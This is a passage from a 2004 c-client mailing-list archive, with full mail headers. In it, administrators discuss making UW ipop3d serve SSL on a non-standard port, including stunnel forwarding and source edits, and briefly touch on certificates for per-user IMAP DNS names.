mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Dll7K012441 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 06:47:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69DlUK0016252; Fri, 9 Jul 2004 06:47:30 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69DkB7n095278 for ; Fri, 9 Jul 2004 06:46:11 -0700 Received: from mail.hunterweb.net (user-119a4ld.biz.mindspring.com [66.149.18.173]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69DkA6L018525 for ; Fri, 9 Jul 2004 06:46:10 -0700 Received: from ihunterxp (atlga252.inovisinc.net [206.113.209.252]) by mail.hunterweb.net (Postfix) with SMTP id B1E77B82EF for ; Fri, 9 Jul 2004 09:46:09 -0400 (EDT) Message-Id: <005801c465bb$1b0fb340$ee82200a@itlogon.com> Date: Fri, 9 Jul 2004 09:46:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ian Hunter" To: Subject: Force ipop3d to use TLS/SSL when running on odd port MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to allow pop3s access to folks behind restrictive corporate firewalls, that block port 995. It seems that no matter what port I tell xinetd to run ipop3d on in /etc/services, it falls back to no SSL, if it's not called "pop3s," even if I put "/ssl /tls" in as arguments. That is to say, I can get it to run on any port I want, but it will only do SSL if the service name is pop3s. Does ipop3d check it's name use SSL if it's pop3s and no SSL otherwise? What am I missing? Help! Ian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 9 07:09:24 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 07:09:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69E9OEo024218 for ; Fri, 9 Jul 2004 07:09:24 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69E9MAL013069 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 07:09:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69E983g010776; Fri, 9 Jul 2004 07:09:08 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69E8Lcm069128 for ; Fri, 9 Jul 2004 07:08:21 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69E8LvI032608 for ; Fri, 9 Jul 2004 07:08:21 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69E8KnI021919; Fri, 9 Jul 2004 07:08:20 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69E8KrJ000707; Fri, 9 Jul 2004 07:08:20 -0700 Message-Id: Date: Fri, 9 Jul 2004 07:08:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ian Hunter Cc: c-client@u.washington.edu Subject: Re: Force ipop3d to use TLS/SSL when running on odd port In-Reply-To: <005801c465bb$1b0fb340$ee82200a@itlogon.com> References: <005801c465bb$1b0fb340$ee82200a@itlogon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 9 Jul 2004, Ian Hunter wrote: > Does ipop3d check it's name use SSL if it's pop3s and no SSL otherwise? Correct. ipop3d starts in SSL only when on the pop3s port. Servers can not use command line arguments, since server argv is used by various accounting packages. Something like "/ssl /tls" in a command line argument wouldn't exist on UNIX anyway (on UNIX, switches start with "-"). You seem to be confused about TLS. TLS is started by a client command, and not by the selection of port. Thus for TLS, it can be on any port since the connection is supposed to start in plaintext. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jul 9 07:27:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 07:27:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69ERXSO024760 for ; Fri, 9 Jul 2004 07:27:33 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69ERVBs013569 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 07:27:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69ERGDQ016150; Fri, 9 Jul 2004 07:27:17 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69EQZwV071116 for ; Fri, 9 Jul 2004 07:26:35 -0700 Received: from rs9.luxsci.com (rs9.luxsci.com [66.216.98.59]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69EQXjY015758 for ; Fri, 9 Jul 2004 07:26:34 -0700 Received: from luxsci.com (h00a0ccd40998.ne.client2.attbi.com [24.34.204.151]) (authenticated bits=0) by rs9.luxsci.com (8.12.11/8.12.10) with ESMTP id i69EQRb7025400 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 9 Jul 2004 09:26:28 -0500 Message-Id: <40EEAB12.5010509@luxsci.com> Date: Fri, 09 Jul 2004 10:26:26 -0400 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Mark Crispin Cc: Ian Hunter , c-client@u.washington.edu Subject: Re: Force ipop3d to use TLS/SSL when running on odd port In-Reply-To: References: <005801c465bb$1b0fb340$ee82200a@itlogon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think the issue is that Ian wants to enforce an encrypted POP session on a non-pop3s port. TLS doesn't enforce, it just provides the option (unless there is a way to require TLS). I think, that short of modifying the source for ipop3d, you could accomplish this task my using "stunnel" on the server to listen to the desired port for SSL connections and "forward" these to the pop3s port locally. This will ensure that you can have an SSL-only POP connection on an alternate port and will solve the ipop3d port issue. See "stunnel.org". -Erik Kangas Mark Crispin wrote: > On Fri, 9 Jul 2004, Ian Hunter wrote: > >> Does ipop3d check it's name use SSL if it's pop3s and no SSL otherwise? > > > Correct. ipop3d starts in SSL only when on the pop3s port. > > Servers can not use command line arguments, since server argv is used by > various accounting packages. Something like "/ssl /tls" in a command > line argument wouldn't exist on UNIX anyway (on UNIX, switches start > with "-"). > > You seem to be confused about TLS. TLS is started by a client command, > and not by the selection of port. Thus for TLS, it can be on any port > since the connection is supposed to start in plaintext. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated kangas@luxsci.com --- http://luxsci.com From pinedev@shivax2.cac.washington.edu Fri Jul 9 07:43:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 07:43:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69EhC2h025432 for ; Fri, 9 Jul 2004 07:43:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Eh9en014102 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 07:43:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69EgsSD010820; Fri, 9 Jul 2004 07:42:54 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69EgCLP069216 for ; Fri, 9 Jul 2004 07:42:12 -0700 Received: from lsa-m1.lsa.adsroot.itcs.umich.edu (lsa-m1.lsa.adsroot.itcs.umich.edu [141.211.177.25]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69EgBwJ029719 for ; Fri, 9 Jul 2004 07:42:11 -0700 Received: from engin-mail5.engin.umich.edu ([141.213.80.29]) by lsa-m1.lsa.adsroot.itcs.umich.edu with Microsoft SMTPSVC(6.0.3790.0); Fri, 9 Jul 2004 10:42:11 -0400 Message-Id: <082D86E280B1B34D803A959E9A397E55B1B4DD@engin-mail5.engin.umich.edu> Date: Fri, 9 Jul 2004 10:42:13 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sobocinski, Todd" To: "Mark Crispin" Cc: Subject: RE: Perdition IMAP Proxy Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-OriginalArrivalTime: 09 Jul 2004 14:42:11.0526 (UTC) FILETIME=[EB146660:01C465C2] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_MIMEOLE 0, __HAS_XOAT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Assuming you support SSL/TLS, how do you get around matching a server certificate CN to each of your per-user DNS entries? Do you use wildcard certificates? Todd -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Mark Crispin Sent: Thursday, July 08, 2004 2:16 PM To: Brad Arlt Cc: c-client@u.washington.edu Subject: Re: Perdition IMAP Proxy On Thu, 8 Jul 2004, Brad Arlt wrote: > Perdition is meant to allow you to have "one" imap server, as far as=20 > your users are concerned, and as many real IMAP servers as needed.=20 > Perdition chooses the correct server for each user, and proxies the=20 > connection to it for the user. This can also be handled using=20 > LOGIN-REFERRALS but sadly not all mail clients support this. That seems to be a lot of ongoing (and permanent) work and resources just=20 to avoid a simple one-time user configuration. You can simply have a special DNS zone in which each user is registered=20 and points to the correct IMAP server, and dispense with proxies. mrc.deskmail.washington.edu always points to mrc's IMAP server, even=20 though the machine changes over time. The experience at UW has shown that this is not particularly difficult to=20 explain even to novice users. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jul 9 09:08:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 09:08:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69G8ofu028807 for ; Fri, 9 Jul 2004 09:08:50 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69G8lHZ017217 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 09:08:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69G8SwH011950; Fri, 9 Jul 2004 09:08:29 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69G7MKX070938 for ; Fri, 9 Jul 2004 09:07:22 -0700 Received: from ensa.cpsc.ucalgary.ca (ensa.cpsc.ucalgary.ca [136.159.2.1]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69G7Jkg012319 for ; Fri, 9 Jul 2004 09:07:19 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1 [136.159.5.9]) by ensa.cpsc.ucalgary.ca (8.12.11/8.12.10) with ESMTP id i69G2O5P027488 for ; Fri, 9 Jul 2004 10:02:24 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i69G2Jpi016510 for ; Fri, 9 Jul 2004 10:02:19 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i69G2Jca015510 for c-client@u.washington.edu; Fri, 9 Jul 2004 10:02:19 -0600 (MDT) Message-Id: <20040709160219.GA15299@ms257a.cpsc.ucalgary.ca> Date: Fri, 9 Jul 2004 10:02:19 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: c-client@u.washington.edu Subject: Re: Force ipop3d to use TLS/SSL when running on odd port In-Reply-To: <40EEAB12.5010509@luxsci.com> References: <005801c465bb$1b0fb340$ee82200a@itlogon.com> <40EEAB12.5010509@luxsci.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=3.2 required=6.8 X-Spam-Level: *** X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, Jul 09, 2004 at 10:26:26AM -0400, Erik Kangas wrote: > I think, that short of modifying the source for ipop3d, you could > accomplish this task my using "stunnel" on the server to listen to > the desired port for SSL connections and "forward" these to the > pop3s port locally. This will ensure that you can have an SSL-only > POP connection on an alternate port and will solve the ipop3d port > issue. See "stunnel.org". This seems rather extreme given the source code changes are changing "995" to another number (src/c-client/pop3.c line 35 of imap-2004 release). And it appears that you might be able to get away with simply changing the pop3s line in /etc/services. Neither is it overly complicated. Certainly less hassle than stunnel was (I have used it for imap over SSL before uw-imap supported SSL - builtin support is *so* much better). ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no son droga Computer Science From pinedev@shivax2.cac.washington.edu Fri Jul 9 09:24:43 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 09:24:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69GOhlf029477 for ; Fri, 9 Jul 2004 09:24:43 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69GOdlO024344 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 09:24:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69GOPg7013816; Fri, 9 Jul 2004 09:24:25 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69GNZjt112592 for ; Fri, 9 Jul 2004 09:23:35 -0700 Received: from mail.hunterweb.net (user-119a4ld.biz.mindspring.com [66.149.18.173]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69GNV4j016147 for ; Fri, 9 Jul 2004 09:23:32 -0700 Received: from ihunterxp (atlga252.inovisinc.net [206.113.209.252]) by mail.hunterweb.net (Postfix) with SMTP id 51136B82EF for ; Fri, 9 Jul 2004 12:23:31 -0400 (EDT) Message-Id: <001101c465d1$1688a280$ee82200a@itlogon.com> Date: Fri, 9 Jul 2004 12:23:34 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ian Hunter" To: Subject: Re: Force ipop3d to use TLS/SSL when running on odd port References: <005801c465bb$1b0fb340$ee82200a@itlogon.com> <40EEAB12.5010509@luxsci.com> <20040709160219.GA15299@ms257a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN But you can't have ipop3d handling pop3s on *two different ports* at the same time; either 995 is SSL, -or- another port is SSL. I'm in the middle of changing my pop3 config to use stunnel, that was the only way I can see to get this working short term. ipop3d ought to have a "force SSL" switch to support the xinetd crowd. :( ----- Original Message ----- From: "Brad Arlt" To: Sent: Friday, July 09, 2004 12:02 PM Subject: Re: Force ipop3d to use TLS/SSL when running on odd port > On Fri, Jul 09, 2004 at 10:26:26AM -0400, Erik Kangas wrote: > > I think, that short of modifying the source for ipop3d, you could > > accomplish this task my using "stunnel" on the server to listen to > > the desired port for SSL connections and "forward" these to the > > pop3s port locally. This will ensure that you can have an SSL-only > > POP connection on an alternate port and will solve the ipop3d port > > issue. See "stunnel.org". > > This seems rather extreme given the source code changes are changing > "995" to another number (src/c-client/pop3.c line 35 of imap-2004 > release). And it appears that you might be able to get away with > simply changing the pop3s line in /etc/services. > > Neither is it overly complicated. Certainly less hassle than stunnel > was (I have used it for imap over SSL before uw-imap supported SSL - > builtin support is *so* much better). From pinedev@shivax2.cac.washington.edu Fri Jul 9 10:46:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 10:46:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69HkoR0000772 for ; Fri, 9 Jul 2004 10:46:50 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Hkm9p020960 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 10:46:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69HkUWX013356; Fri, 9 Jul 2004 10:46:30 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69HjBCn055304 for ; Fri, 9 Jul 2004 10:45:11 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69HjATr023354 for ; Fri, 9 Jul 2004 10:45:10 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Hj9Ht012777; Fri, 9 Jul 2004 10:45:09 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Hj8af012776; Fri, 9 Jul 2004 10:45:09 -0700 Message-Id: Date: Fri, 9 Jul 2004 10:45:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Kangas Cc: Ian Hunter , c-client@u.washington.edu Subject: Re: Force ipop3d to use TLS/SSL when running on odd port In-Reply-To: <40EEAB12.5010509@luxsci.com> References: <005801c465bb$1b0fb340$ee82200a@itlogon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 9 Jul 2004, Erik Kangas wrote: > TLS doesn't enforce, it just provides the option (unless > there is a way to require TLS). In the normal build, plaintext passwords are not allowed (the USER command is not permitted) until either SSL is in effect or TLS is negotiated. So, in effect, TLS is required unless you have Kerberos or CRAM-MD5 set up. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jul 9 10:48:34 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Jul 2004 10:48:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69HmYUW000828 for ; Fri, 9 Jul 2004 10:48:34 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69HmWGt027450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Jul 2004 10:48:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i69HmKO9012700; Fri, 9 Jul 2004 10:48:20 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69HljVn055342 for ; Fri, 9 Jul 2004 10:47:45 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i69HliWZ026890 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 9 Jul 2004 10:47:44 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69HlhsO020797; Fri, 9 Jul 2004 10:47:43 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i69Hlhdh012907; Fri, 9 Jul 2004 10:47:43 -0700 Message-Id: Date: Fri, 9 Jul 2004 10:47:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Sobocinski, Todd" Cc: c-client@u.washington.edu Subject: RE: Perdition IMAP Proxy In-Reply-To: <082D86E280B1B34D803A959E9A397E55B1B4DD@engin-mail5.engin.umich.edu> References: <082D86E280B1B34D803A959E9A397E55B1B4DD@engin-mail5.engin.umich.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, 